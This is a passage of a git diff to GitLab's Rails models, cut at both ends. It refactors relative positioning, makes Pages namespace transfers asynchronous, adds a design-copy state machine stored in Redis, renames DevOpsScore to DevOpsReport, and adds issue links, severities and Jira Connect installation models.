- self.relative_position = self.class.position_between(max.relative_position, MAX_POSITION)
- else
- self.relative_position = self.class.position_between(max_pos, MAX_POSITION)
- end
+ RelativePositioning.mover.move_to_end(self)
+ rescue NoSpaceLeft => e
+ could_not_move(e)
+ self.relative_position = MAX_POSITION
+ rescue ActiveRecord::QueryCanceled => e
+ could_not_move(e)
+ raise e
end
def move_to_start
- min_pos = min_relative_position
-
- if min_pos.nil?
- self.relative_position = START_POSITION
- elsif gap_too_small?(min_pos, MIN_POSITION)
- min = relative_siblings.order(Gitlab::Database.nulls_last_order('relative_position', 'ASC')).first
- min.move_sequence_after(true)
- min.reset
- self.relative_position = self.class.position_between(MIN_POSITION, min.relative_position)
- else
- self.relative_position = self.class.position_between(MIN_POSITION, min_pos)
- end
- end
-
- # Moves the sequence before the current item to the middle of the next gap
- # For example, we have
- #
- # 5 . . . . . 11 12 13 14 [15] 16 . 17
- # -----------
- #
- # This moves the sequence [11 12 13 14] to [8 9 10 11], so we have:
- #
- # 5 . . 8 9 10 11 . . . [15] 16 . 17
- # ---------
- #
- # Creating a gap to the left of the current item. We can understand this as
- # dividing the 5 spaces between 5 and 11 into two smaller gaps of 2 and 3.
- #
- # If `include_self` is true, the current item will also be moved, creating a
- # gap to the right of the current item:
- #
- # 5 . . 8 9 10 11 [14] . . . 16 . 17
- # --------------
- #
- # As an optimization, the gap can be precalculated and passed to this method.
- #
- # @api private
- # @raises NoSpaceLeft if the sequence cannot be moved
- def move_sequence_before(include_self = false, next_gap: find_next_gap_before)
- raise NoSpaceLeft unless next_gap.present?
-
- delta = optimum_delta_for_gap(next_gap)
-
- move_sequence(next_gap[:start], relative_position, -delta, include_self)
- end
-
- # Moves the sequence after the current item to the middle of the next gap
- # For example, we have:
- #
- # 8 . 10 [11] 12 13 14 15 . . . . . 21
- # -----------
- #
- # This moves the sequence [12 13 14 15] to [15 16 17 18], so we have:
- #
- # 8 . 10 [11] . . . 15 16 17 18 . . 21
- # -----------
- #
- # Creating a gap to the right of the current item. We can understand this as
- # dividing the 5 spaces between 15 and 21 into two smaller gaps of 3 and 2.
- #
- # If `include_self` is true, the current item will also be moved, creating a
- # gap to the left of the current item:
- #
- # 8 . 10 . . . [14] 15 16 17 18 . . 21
- # ----------------
- #
- # As an optimization, the gap can be precalculated and passed to this method.
- #
- # @api private
- # @raises NoSpaceLeft if the sequence cannot be moved
- def move_sequence_after(include_self = false, next_gap: find_next_gap_after)
- raise NoSpaceLeft unless next_gap.present?
-
- delta = optimum_delta_for_gap(next_gap)
-
- move_sequence(relative_position, next_gap[:start], delta, include_self)
- end
-
- private
-
- def gap_too_small?(pos_a, pos_b)
- return false unless pos_a && pos_b
-
- (pos_a - pos_b).abs < MIN_GAP
- end
-
- # Find the first suitable gap to the left of the current position.
- #
- # Satisfies the relations:
- # - gap[:start] <= relative_position
- # - abs(gap[:start] - gap[:end]) >= MIN_GAP
- # - MIN_POSITION <= gap[:start] <= MAX_POSITION
- # - MIN_POSITION <= gap[:end] <= MAX_POSITION
- #
- # Supposing that the current item is 13, and we have a sequence of items:
- #
- # 1 . . . 5 . . . . 11 12 [13] 14 . . 17
- # ^---------^
- #
- # Then we return: `{ start: 11, end: 5 }`
- #
- # Here start refers to the end of the gap closest to the current item.
- def find_next_gap_before
- items_with_next_pos = scoped_items
- .select('relative_position AS pos, LEAD(relative_position) OVER (ORDER BY relative_position DESC) AS next_pos')
- .where('relative_position <= ?', relative_position)
- .order(relative_position: :desc)
-
- find_next_gap(items_with_next_pos, MIN_POSITION)
- end
-
- # Find the first suitable gap to the right of the current position.
- #
- # Satisfies the relations:
- # - gap[:start] >= relative_position
- # - abs(gap[:start] - gap[:end]) >= MIN_GAP
- # - MIN_POSITION <= gap[:start] <= MAX_POSITION
- # - MIN_POSITION <= gap[:end] <= MAX_POSITION
- #
- # Supposing the current item is 13, and that we have a sequence of items:
- #
- # 9 . . . [13] 14 15 . . . . 20 . . . 24
- # ^---------^
- #
- # Then we return: `{ start: 15, end: 20 }`
- #
- # Here start refers to the end of the gap closest to the current item.
- def find_next_gap_after
- items_with_next_pos = scoped_items
- .select('relative_position AS pos, LEAD(relative_position) OVER (ORDER BY relative_position ASC) AS next_pos')
- .where('relative_position >= ?', relative_position)
- .order(:relative_position)
-
- find_next_gap(items_with_next_pos, MAX_POSITION)
- end
-
- def find_next_gap(items_with_next_pos, end_is_nil)
- gap = self.class
- .from(items_with_next_pos, :items)
- .where('next_pos IS NULL OR ABS(pos::bigint - next_pos::bigint) >= ?', MIN_GAP)
- .limit(1)
- .pluck(:pos, :next_pos)
- .first
-
- return if gap.nil? || gap.first == end_is_nil
-
- { start: gap.first, end: gap.second || end_is_nil }
- end
-
- def optimum_delta_for_gap(gap)
- delta = ((gap[:start] - gap[:end]) / 2.0).abs.ceil
-
- [delta, IDEAL_DISTANCE].min
- end
-
- def move_sequence(start_pos, end_pos, delta, include_self = false)
- relation = include_self ? scoped_items : relative_siblings
-
+ RelativePositioning.mover.move_to_start(self)
+ rescue NoSpaceLeft => e
+ could_not_move(e)
+ self.relative_position = MIN_POSITION
+ rescue ActiveRecord::QueryCanceled => e
+ could_not_move(e)
+ raise e
+ end
+
+ # This method is used during rebalancing - override it to customise the update
+ # logic:
+ def update_relative_siblings(relation, range, delta)
relation
- .where('relative_position BETWEEN ? AND ?', start_pos, end_pos)
+ .where(relative_position: range)
.update_all("relative_position = relative_position + #{delta}")
end
- def calculate_relative_position(calculation)
- # When calculating across projects, this is much more efficient than
- # MAX(relative_position) without the GROUP BY, due to index usage:
- # https://gitlab.com/gitlab-org/gitlab-foss/issues/54276#note_119340977
- relation = scoped_items
- .order(Gitlab::Database.nulls_last_order('position', 'DESC'))
- .group(self.class.relative_positioning_parent_column)
- .limit(1)
-
- relation = yield relation if block_given?
-
- relation
- .pluck(self.class.relative_positioning_parent_column, Arel.sql("#{calculation}(relative_position) AS position"))
- .first&.last
- end
-
- def relative_siblings(relation = scoped_items)
- relation.id_not_in(id)
+ # This method is used to exclude the current self (or another object)
+ # from a relation. Customize this if `id <> :id` is not sufficient
+ def exclude_self(relation, excluded: self)
+ relation.id_not_in(excluded.id)
end
- def scoped_items
- self.class.relative_positioning_query_base(self)
+ # Override if you want to be notified of failures to move
+ def could_not_move(exception)
end
end
diff --git a/app/models/concerns/resolvable_discussion.rb b/app/models/concerns/resolvable_discussion.rb
index 5174ae05d15..3e1e5faee54 100644
--- a/app/models/concerns/resolvable_discussion.rb
+++ b/app/models/concerns/resolvable_discussion.rb
@@ -31,7 +31,6 @@ module ResolvableDiscussion
delegate :resolved_at,
:resolved_by,
:resolved_by_push?,
-
to: :last_resolved_note,
allow_nil: true
end
diff --git a/app/models/concerns/storage/legacy_namespace.rb b/app/models/concerns/storage/legacy_namespace.rb
index 250889fdf8b..71b976c6f11 100644
--- a/app/models/concerns/storage/legacy_namespace.rb
+++ b/app/models/concerns/storage/legacy_namespace.rb
@@ -23,10 +23,22 @@ module Storage
former_parent_full_path = parent_was&.full_path
parent_full_path = parent&.full_path
Gitlab::UploadsTransfer.new.move_namespace(path, former_parent_full_path, parent_full_path)
- Gitlab::PagesTransfer.new.move_namespace(path, former_parent_full_path, parent_full_path)
+
+ if any_project_with_pages_deployed?
+ run_after_commit do
+ Gitlab::PagesTransfer.new.async.move_namespace(path, former_parent_full_path, parent_full_path)
+ end
+ end
else
Gitlab::UploadsTransfer.new.rename_namespace(full_path_before_last_save, full_path)
- Gitlab::PagesTransfer.new.rename_namespace(full_path_before_last_save, full_path)
+
+ if any_project_with_pages_deployed?
+ full_path_was = full_path_before_last_save
+
+ run_after_commit do
+ Gitlab::PagesTransfer.new.async.rename_namespace(full_path_was, full_path)
+ end
+ end
end
# If repositories moved successfully we need to
diff --git a/app/models/concerns/timebox.rb b/app/models/concerns/timebox.rb
index 8927e42dd97..3e2cf9031d0 100644
--- a/app/models/concerns/timebox.rb
+++ b/app/models/concerns/timebox.rb
@@ -75,8 +75,8 @@ module Timebox
scope :within_timeframe, -> (start_date, end_date) do
where('start_date is not NULL or due_date is not NULL')
- .where('start_date is NULL or start_date <= ?', end_date)
- .where('due_date is NULL or due_date >= ?', start_date)
+ .where('start_date is NULL or start_date <= ?', end_date)
+ .where('due_date is NULL or due_date >= ?', start_date)
end
strip_attributes :title
@@ -195,6 +195,10 @@ module Timebox
end
end
+ def weight_available?
+ resource_parent&.feature_available?(:issue_weights)
+ end
+
private
def timebox_format_reference(format = :iid)
diff --git a/app/models/cycle_analytics/level_base.rb b/app/models/cycle_analytics/level_base.rb
index 543349ebf8f..967de9a22b4 100644
--- a/app/models/cycle_analytics/level_base.rb
+++ b/app/models/cycle_analytics/level_base.rb
@@ -2,7 +2,7 @@
module CycleAnalytics
module LevelBase
- STAGES = %i[issue plan code test review staging production].freeze
+ STAGES = %i[issue plan code test review staging].freeze
def all_medians_by_stage
STAGES.each_with_object({}) do |stage_name, medians_per_stage|
diff --git a/app/models/data_list.rb b/app/models/data_list.rb
index 12011cb17f7..2cee3447886 100644
--- a/app/models/data_list.rb
+++ b/app/models/data_list.rb
@@ -1,8 +1,8 @@
# frozen_string_literal: true
class DataList
- def initialize(batch, data_fields_hash, klass)
- @batch = batch
+ def initialize(batch_ids, data_fields_hash, klass)
+ @batch_ids = batch_ids
@data_fields_hash = data_fields_hash
@klass = klass
end
@@ -13,13 +13,15 @@ class DataList
private
- attr_reader :batch, :data_fields_hash, :klass
+ attr_reader :batch_ids, :data_fields_hash, :klass
def columns
data_fields_hash.keys << 'service_id'
end
def values
- batch.map { |row| data_fields_hash.values << row['id'] }
+ batch_ids.map do |row|
+ data_fields_hash.values << row['id']
+ end
end
end
diff --git a/app/models/deployment.rb b/app/models/deployment.rb
index d6508ffceba..3978620c74d 100644
--- a/app/models/deployment.rb
+++ b/app/models/deployment.rb
@@ -148,7 +148,7 @@ class Deployment < ApplicationRecord
def execute_hooks
deployment_data = Gitlab::DataBuilder::Deployment.build(self)
- project.execute_hooks(deployment_data, :deployment_hooks) if Feature.enabled?(:deployment_webhooks, project, default_enabled: true)
+ project.execute_hooks(deployment_data, :deployment_hooks)
project.execute_services(deployment_data, :deployment_hooks)
end
diff --git a/app/models/design_management/design.rb b/app/models/design_management/design.rb
index deda814d689..57bb250829d 100644
--- a/app/models/design_management/design.rb
+++ b/app/models/design_management/design.rb
@@ -79,16 +79,10 @@ module DesignManagement
joins(join.join_sources).where(actions[:event].not_eq(deletion))
end
- scope :ordered, -> (project) do
- # TODO: Always order by relative position after the feature flag is removed
- # https://gitlab.com/gitlab-org/gitlab/-/issues/34382
- if Feature.enabled?(:reorder_designs, project, default_enabled: true)
- # We need to additionally sort by `id` to support keyset pagination.
- # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17788/diffs#note_230875678
- order(:relative_position, :id)
- else
- in_creation_order
- end
+ scope :ordered, -> do
+ # We need to additionally sort by `id` to support keyset pagination.
+ # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17788/diffs#note_230875678
+ order(:relative_position, :id)
end
scope :in_creation_order, -> { reorder(:id) }
diff --git a/app/models/design_management/design_collection.rb b/app/models/design_management/design_collection.rb
index 96d5f4c2419..c48b36588c9 100644
--- a/app/models/design_management/design_collection.rb
+++ b/app/models/design_management/design_collection.rb
@@ -6,8 +6,34 @@ module DesignManagement
delegate :designs, :project, to: :issue
+ state_machine :copy_state, initial: :ready, namespace: :copy do
+ after_transition any => any, do: :update_stored_copy_state!
+
+ event :start do
+ transition ready: :in_progress
+ end
+
+ event :end do
+ transition in_progress: :ready
+ end
+
+ event :error do
+ transition in_progress: :error
+ end
+
+ event :reset do
+ transition any => :ready
+ end
+ end
+
def initialize(issue)
+ super() # Necessary to initialize state_machine
+
@issue = issue
+
+ if stored_copy_state = get_stored_copy_state
+ @copy_state = stored_copy_state
+ end
end
def ==(other)
@@ -30,5 +56,39 @@ module DesignManagement
def designs_by_filename(filenames)
designs.current.where(filename: filenames)
end
+
+ private
+
+ def update_stored_copy_state!
+ # As "ready" is the initial copy state we can clear the cached value
+ # rather than persist it.
+ if copy_ready?
+ unset_store_copy_state!
+ else
+ set_stored_copy_state!
+ end
+ end
+
+ def copy_state_cache_key
+ "DesignCollection/copy_state/issue=#{issue.id}"
+ end
+
+ def get_stored_copy_state
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.get(copy_state_cache_key)
+ end
+ end
+
+ def set_stored_copy_state!
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.set(copy_state_cache_key, copy_state)
+ end
+ end
+
+ def unset_store_copy_state!
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.del(copy_state_cache_key)
+ end
+ end
end
end
diff --git a/app/models/dev_ops_report/card.rb b/app/models/dev_ops_report/card.rb
new file mode 100644
index 00000000000..4060cb1e5b6
--- /dev/null
+++ b/app/models/dev_ops_report/card.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module DevOpsReport
+ class Card
+ attr_accessor :metric, :title, :description, :feature, :blog, :docs
+
+ def initialize(metric:, title:, description:, feature:, blog:, docs: nil)
+ self.metric = metric
+ self.title = title
+ self.description = description
+ self.feature = feature
+ self.blog = blog
+ self.docs = docs
+ end
+
+ def instance_score
+ metric.instance_score(feature)
+ end
+
+ def leader_score
+ metric.leader_score(feature)
+ end
+
+ def percentage_score
+ metric.percentage_score(feature)
+ end
+ end
+end
diff --git a/app/models/dev_ops_report/idea_to_production_step.rb b/app/models/dev_ops_report/idea_to_production_step.rb
new file mode 100644
index 00000000000..2503d5949e5
--- /dev/null
+++ b/app/models/dev_ops_report/idea_to_production_step.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module DevOpsReport
+ class IdeaToProductionStep
+ attr_accessor :metric, :title, :features
+
+ def initialize(metric:, title:, features:)
+ self.metric = metric
+ self.title = title
+ self.features = features
+ end
+
+ def percentage_score
+ sum = features.sum do |feature|
+ metric.percentage_score(feature)
+ end
+
+ sum / features.size.to_f
+ end
+ end
+end
diff --git a/app/models/dev_ops_report/metric.rb b/app/models/dev_ops_report/metric.rb
new file mode 100644
index 00000000000..14eff725433
--- /dev/null
+++ b/app/models/dev_ops_report/metric.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module DevOpsReport
+ class Metric < ApplicationRecord
+ include Presentable
+
+ self.table_name = 'conversational_development_index_metrics'
+
+ def instance_score(feature)
+ self["instance_#{feature}"]
+ end
+
+ def leader_score(feature)
+ self["leader_#{feature}"]
+ end
+
+ def percentage_score(feature)
+ self["percentage_#{feature}"]
+ end
+ end
+end
diff --git a/app/models/dev_ops_score/card.rb b/app/models/dev_ops_score/card.rb
deleted file mode 100644
index b1894cf4138..00000000000
--- a/app/models/dev_ops_score/card.rb
+++ /dev/null
@@ -1,28 +0,0 @@
-# frozen_string_literal: true
-
-module DevOpsScore
- class Card
- attr_accessor :metric, :title, :description, :feature, :blog, :docs
-
- def initialize(metric:, title:, description:, feature:, blog:, docs: nil)
- self.metric = metric
- self.title = title
- self.description = description
- self.feature = feature
- self.blog = blog
- self.docs = docs
- end
-
- def instance_score
- metric.instance_score(feature)
- end
-
- def leader_score
- metric.leader_score(feature)
- end
-
- def percentage_score
- metric.percentage_score(feature)
- end
- end
-end
diff --git a/app/models/dev_ops_score/idea_to_production_step.rb b/app/models/dev_ops_score/idea_to_production_step.rb
deleted file mode 100644
index d892793cf97..00000000000
--- a/app/models/dev_ops_score/idea_to_production_step.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-module DevOpsScore
- class IdeaToProductionStep
- attr_accessor :metric, :title, :features
-
- def initialize(metric:, title:, features:)
- self.metric = metric
- self.title = title
- self.features = features
- end
-
- def percentage_score
- sum = features.sum do |feature|
- metric.percentage_score(feature)
- end
-
- sum / features.size.to_f
- end
- end
-end
diff --git a/app/models/dev_ops_score/metric.rb b/app/models/dev_ops_score/metric.rb
deleted file mode 100644
index a9133128ce9..00000000000
--- a/app/models/dev_ops_score/metric.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-module DevOpsScore
- class Metric < ApplicationRecord
- include Presentable
-
- self.table_name = 'conversational_development_index_metrics'
-
- def instance_score(feature)
- self["instance_#{feature}"]
- end
-
- def leader_score(feature)
- self["leader_#{feature}"]
- end
-
- def percentage_score(feature)
- self["percentage_#{feature}"]
- end
- end
-end
diff --git a/app/models/diff_discussion.rb b/app/models/diff_discussion.rb
index f9e2f00b9f3..6806008d676 100644
--- a/app/models/diff_discussion.rb
+++ b/app/models/diff_discussion.rb
@@ -16,7 +16,6 @@ class DiffDiscussion < Discussion
:diff_note_positions,
:on_text?,
:on_image?,
-
to: :first_note
def legacy_diff_discussion?
diff --git a/app/models/discussion.rb b/app/models/discussion.rb
index adcb2217d85..793cdb5dece 100644
--- a/app/models/discussion.rb
+++ b/app/models/discussion.rb
@@ -24,7 +24,6 @@ class Discussion
:system_note_with_references_visible_for?,
:resource_parent,
:save,
-
to: :first_note
def declarative_policy_delegate
diff --git a/app/models/environment.rb b/app/models/environment.rb
index c6a08c996da..cfdcb0499e6 100644
--- a/app/models/environment.rb
+++ b/app/models/environment.rb
@@ -371,7 +371,7 @@ class Environment < ApplicationRecord
end
def elastic_stack_available?
- !!deployment_platform&.cluster&.application_elastic_stack&.available?
+ !!deployment_platform&.cluster&.application_elastic_stack_available?
end
private
diff --git a/app/models/group.rb b/app/models/group.rb
index f8cbaa2495c..c0f145997cc 100644
--- a/app/models/group.rb
+++ b/app/models/group.rb
@@ -20,8 +20,10 @@ class Group < Namespace
UpdateSharedRunnersError = Class.new(StandardError)
- has_many :group_members, -> { where(requested_at: nil) }, dependent: :destroy, as: :source # rubocop:disable Cop/ActiveRecordDependent
+ has_many :all_group_members, -> { where(requested_at: nil) }, dependent: :destroy, as: :source, class_name: 'GroupMember' # rubocop:disable Cop/ActiveRecordDependent
+ has_many :group_members, -> { where(requested_at: nil).where.not(members: { access_level: Gitlab::Access::MINIMAL_ACCESS }) }, dependent: :destroy, as: :source # rubocop:disable Cop/ActiveRecordDependent
alias_method :members, :group_members
+
has_many :users, through: :group_members
has_many :owners,
-> { where(members: { access_level: Gitlab::Access::OWNER }) },
@@ -33,6 +35,7 @@ class Group < Namespace
has_many :milestones
has_many :iterations
+ has_many :services
has_many :shared_group_links, foreign_key: :shared_with_group_id, class_name: 'GroupGroupLink'
has_many :shared_with_group_links, foreign_key: :shared_group_id, class_name: 'GroupGroupLink'
has_many :shared_groups, through: :shared_group_links, source: :shared_group
@@ -395,6 +398,10 @@ class Group < Namespace
])
end
+ def users_count
+ members.count
+ end
+
# Returns all users that are members of projects
# belonging to the current group or sub-groups
def project_users_with_descendants
@@ -403,10 +410,17 @@ class Group < Namespace
.where(namespaces: { id: self_and_descendants.select(:id) })
end
- def max_member_access_for_user(user)
+ # Return the highest access level for a user
+ #
+ # A special case is handled here when the user is a GitLab admin
+ # which implies it has "OWNER" access everywhere, but should not
+ # officially appear as a member of a group unless specifically added to it
+ #
+ # @param user [User]
+ # @param only_concrete_membership [Bool] whether require admin concrete membership status
+ def max_member_access_for_user(user, only_concrete_membership: false)
return GroupMember::NO_ACCESS unless user
-
- return GroupMember::OWNER if user.admin?
+ return GroupMember::OWNER if user.admin? && !only_concrete_membership
max_member_access = members_with_parents.where(user_id: user)
.reorder(access_level: :desc)
@@ -630,6 +644,7 @@ class Group < Namespace
.where(group_member_table[:requested_at].eq(nil))
.where(group_member_table[:source_id].eq(group_group_link_table[:shared_with_group_id]))
.where(group_member_table[:source_type].eq('Namespace'))
+ .non_minimal_access
end
def smallest_value_arel(args, column_alias)
diff --git a/app/models/group_deploy_key.rb b/app/models/group_deploy_key.rb
index 160ac28b33b..c65b00a6de0 100644
--- a/app/models/group_deploy_key.rb
+++ b/app/models/group_deploy_key.rb
@@ -8,6 +8,10 @@ class GroupDeployKey < Key
validates :user, presence: true
+ scope :for_groups, ->(group_ids) do
+ joins(:group_deploy_keys_groups).where(group_deploy_keys_groups: { group_id: group_ids }).uniq
+ end
+
def type
'DeployKey'
end
diff --git a/app/models/internal_id.rb b/app/models/internal_id.rb
index 21cf6bfa414..4c0469d849a 100644
--- a/app/models/internal_id.rb
+++ b/app/models/internal_id.rb
@@ -21,7 +21,7 @@ class InternalId < ApplicationRecord
belongs_to :project
belongs_to :namespace
- enum usage: ::InternalIdEnums.usage_resources
+ enum usage: Enums::InternalId.usage_resources
validates :usage, presence: true
diff --git a/app/models/internal_id_enums.rb b/app/models/internal_id_enums.rb
deleted file mode 100644
index 125ae7573b6..00000000000
--- a/app/models/internal_id_enums.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-# frozen_string_literal: true
-
-module InternalIdEnums
- def self.usage_resources
- # when adding new resource, make sure it doesn't conflict with EE usage_resources
- {
- issues: 0,
- merge_requests: 1,
- deployments: 2,
- milestones: 3,
- epics: 4,
- ci_pipelines: 5,
- operations_feature_flags: 6,
- operations_user_lists: 7,
- alert_management_alerts: 8,
- sprints: 9 # iterations
- }
- end
-end
-
-InternalIdEnums.prepend_if_ee('EE::InternalIdEnums')
diff --git a/app/models/issuable_severity.rb b/app/models/issuable_severity.rb
new file mode 100644
index 00000000000..d68b3dc48ee
--- /dev/null
+++ b/app/models/issuable_severity.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class IssuableSeverity < ApplicationRecord
+ DEFAULT = 'unknown'
+
+ belongs_to :issue
+
+ validates :issue, presence: true, uniqueness: true
+ validates :severity, presence: true
+
+ enum severity: {
+ unknown: 0,
+ low: 1,
+ medium: 2,
+ high: 3,
+ critical: 4
+ }
+end
diff --git a/app/models/issue.rb b/app/models/issue.rb
index a0003df87e1..5a5de371301 100644
--- a/app/models/issue.rb
+++ b/app/models/issue.rb
@@ -18,6 +18,7 @@ class Issue < ApplicationRecord
include MilestoneEventable
include WhereComposite
include StateEventable
+ include IdInOrdered
DueDateStruct = Struct.new(:title, :name).freeze
NoDueDate = DueDateStruct.new('No Due Date', '0').freeze
@@ -29,6 +30,11 @@ class Issue < ApplicationRecord
SORTING_PREFERENCE_FIELD = :issues_sort
+ # Types of issues that should be displayed on lists across the app
+ # for example, project issues list, group issues list and issue boards.
+ # Some issue types, like test cases, should be hidden by default.
+ TYPES_FOR_LIST = %w(issue incident).freeze
+
belongs_to :project
has_one :namespace, through: :project
@@ -59,6 +65,7 @@ class Issue < ApplicationRecord
end
end
+ has_one :issuable_severity
has_one :sentry_issue
has_one :alert_management_alert, class_name: 'AlertManagement::Alert'
has_and_belongs_to_many :self_managed_prometheus_alert_events, join_table: :issues_self_managed_prometheus_alert_events # rubocop: disable Rails/HasAndBelongsToMany
@@ -72,7 +79,8 @@ class Issue < ApplicationRecord
enum issue_type: {
issue: 0,
- incident: 1
+ incident: 1,
+ test_case: 2 ## EE-only
}
alias_attribute :parent_ids, :project_id
@@ -305,6 +313,24 @@ class Issue < ApplicationRecord
end
end
+ def related_issues(current_user, preload: nil)
+ related_issues = ::Issue
+ .select(['issues.*', 'issue_links.id AS issue_link_id',
+ 'issue_links.link_type as issue_link_type_value',
+ 'issue_links.target_id as issue_link_source_id'])
+ .joins("INNER JOIN issue_links ON
+ (issue_links.source_id = issues.id AND issue_links.target_id = #{id})
+ OR
+ (issue_links.target_id = issues.id AND issue_links.source_id = #{id})")
+ .preload(preload)
+ .reorder('issue_link_id')
+
+ cross_project_filter = -> (issues) { issues.where(project: project) }
+ Ability.issues_readable_by_user(related_issues,
+ current_user,
+ filters: { read_cross_project: cross_project_filter })
+ end
+
def can_be_worked_on?
!self.closed? && !self.project.forked?
end
@@ -378,6 +404,15 @@ class Issue < ApplicationRecord
author.id == User.support_bot.id
end
+ def issue_link_type
+ return unless respond_to?(:issue_link_type_value) && respond_to?(:issue_link_source_id)
+
+ type = IssueLink.link_types.key(issue_link_type_value) || IssueLink::TYPE_RELATES_TO
+ return type if issue_link_source_id == id
+
+ IssueLink.inverse_link_type(type)
+ end
+
private
def ensure_metrics
@@ -413,6 +448,11 @@ class Issue < ApplicationRecord
key = Gitlab::Routing.url_helpers.realtime_changes_project_issue_path(project, self)
Gitlab::EtagCaching::Store.new.touch(key)
end
+
+ def could_not_move(exception)
+ # Symptom of running out of space - schedule rebalancing
+ IssueRebalancingWorker.perform_async(nil, project_id)
+ end
end
Issue.prepend_if_ee('EE::Issue')
diff --git a/app/models/issue_link.rb b/app/models/issue_link.rb
new file mode 100644
index 00000000000..9740b009396
--- /dev/null
+++ b/app/models/issue_link.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+class IssueLink < ApplicationRecord
+ include FromUnion
+
+ belongs_to :source, class_name: 'Issue'
+ belongs_to :target, class_name: 'Issue'
+
+ validates :source, presence: true
+ validates :target, presence: true
+ validates :source, uniqueness: { scope: :target_id, message: 'is already related' }
+ validate :check_self_relation
+
+ scope :for_source_issue, ->(issue) { where(source_id: issue.id) }
+ scope :for_target_issue, ->(issue) { where(target_id: issue.id) }
+
+ TYPE_RELATES_TO = 'relates_to'
+ TYPE_BLOCKS = 'blocks'
+ TYPE_IS_BLOCKED_BY = 'is_blocked_by'
+
+ enum link_type: { TYPE_RELATES_TO => 0, TYPE_BLOCKS => 1, TYPE_IS_BLOCKED_BY => 2 }
+
+ def self.inverse_link_type(type)
+ type
+ end
+
+ private
+
+ def check_self_relation
+ return unless source && target
+
+ if source == target
+ errors.add(:source, 'cannot be related to itself')
+ end
+ end
+end
+
+IssueLink.prepend_if_ee('EE::IssueLink')
diff --git a/app/models/iteration.rb b/app/models/iteration.rb
index 3495f099064..d223c80fca0 100644
--- a/app/models/iteration.rb
+++ b/app/models/iteration.rb
@@ -29,6 +29,7 @@ class Iteration < ApplicationRecord
scope :upcoming, -> { with_state(:upcoming) }
scope :started, -> { with_state(:started) }
+ scope :closed, -> { with_state(:closed) }
scope :within_timeframe, -> (start_date, end_date) do
where('start_date is not NULL or due_date is not NULL')
@@ -36,8 +37,8 @@ class Iteration < ApplicationRecord
.where('due_date is NULL or due_date >= ?', start_date)
end
- scope :start_date_passed, -> { where('start_date <= ?', Date.current).where('due_date > ?', Date.current) }
- scope :due_date_passed, -> { where('due_date <= ?', Date.current) }
+ scope :start_date_passed, -> { where('start_date <= ?', Date.current).where('due_date >= ?', Date.current) }
+ scope :due_date_passed, -> { where('due_date < ?', Date.current) }
state_machine :state_enum, initial: :upcoming do
event :start do
@@ -63,9 +64,10 @@ class Iteration < ApplicationRecord
case state
when 'closed' then iterations.closed
when 'started' then iterations.started
+ when 'upcoming' then iterations.upcoming
when 'opened' then iterations.started.or(iterations.upcoming)
when 'all' then iterations
- else iterations.upcoming
+ else raise ArgumentError, "Unknown state filter: #{state}"
end
end
diff --git a/app/models/jira_connect_installation.rb b/app/models/jira_connect_installation.rb
new file mode 100644
index 00000000000..7480800abc3
--- /dev/null
+++ b/app/models/jira_connect_installation.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+class JiraConnectInstallation < ApplicationRecord
+ attr_encrypted :shared_secret,
+ mode: :per_attribute_iv,
+ algorithm: 'aes-256-gcm',
+ key: Settings.attr_encrypted_db_key_base_32
+
+ has_many :subscriptions, class_name: 'JiraConnectSubscription'
+
+ validates :client_key, presence: true, uniqueness: true
+ validates :shared_secret, presence: true
+ validates :base_url, presence: true, public_url: true
+
+ scope :for_project, -> (project) {
+ distinct
+ .joins(:subscriptions)
+ .where(jira_connect_subscriptions: {
+ id: JiraConnectSubscription.for_project(project)
+ })
+ }
+end
diff --git a/app/models/jira_connect_subscription.rb b/app/models/jira_connect_subscription.rb
new file mode 100644
index 00000000000..c74f75b2d8e
--- /dev/null
+++ b/app/models/jira_connect_subscription.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class JiraConnectSubscription < ApplicationRecord
+ belongs_to :installation, class_name: 'JiraConnectInstallation', foreign_key: 'jira_connect_installation_id'
+ belongs_to :namespace
+
+ validates :installation, presence: true
+ validates :namespace, presence: true, uniqueness: { scope: :jira_connect_installation_id, message: 'has already been added' }
+
+ scope :preload_namespace_route, -> { preload(namespace: :route) }
+ scope :for_project, -> (project) { where(namespace_id: project.namespace.self_and_ancestors) }
+end
diff --git a/app/models/jira_import_state.rb b/app/models/jira_import_state.rb
index 2d952c552a8..76b5f1def6a 100644
--- a/app/models/jira_import_state.rb
+++ b/app/models/jira_import_state.rb
@@ -110,10 +110,6 @@ class JiraImportState < ApplicationRecord
)
end
- def self.finished_imports_count
- finished.sum(:imported_issues_count)
- end
-
def mark_as_failed(error_message)
sanitized_message = Gitlab::UrlSanitizer.sanitize(error_message)
diff --git a/app/models/lfs_objects_project.rb b/app/models/lfs_objects_project.rb
index 674294f0916..e5632ff2842 100644
--- a/app/models/lfs_objects_project.rb
+++ b/app/models/lfs_objects_project.rb
@@ -19,6 +19,7 @@ class LfsObjectsProject < ApplicationRecord
}
scope :project_id_in, ->(ids) { where(project_id: ids) }
+ scope :lfs_object_in, -> (lfs_objects) { where(lfs_object: lfs_objects) }
private
diff --git a/app/models/member.rb b/app/models/member.rb
index bbc5d638637..5a084a3a2e6 100644
--- a/app/models/member.rb
+++ b/app/models/member.rb
@@ -25,7 +25,6 @@ class Member < ApplicationRecord
validates :user_id, uniqueness: { scope: [:source_type, :source_id],
message: "already exists in source",
allow_nil: true }
- validates :access_level, inclusion: { in: Gitlab::Access.all_values }, presence: true
validate :higher_access_level_than_group, unless: :importing?
validates :invite_email,
presence: {
@@ -60,6 +59,7 @@ class Member < ApplicationRecord
left_join_users
.where(user_ok)
.where(requested_at: nil)
+ .non_minimal_access
.reorder(nil)
end
@@ -68,6 +68,8 @@ class Member < ApplicationRecord
left_join_users
.where(users: { state: 'active' })
.non_request
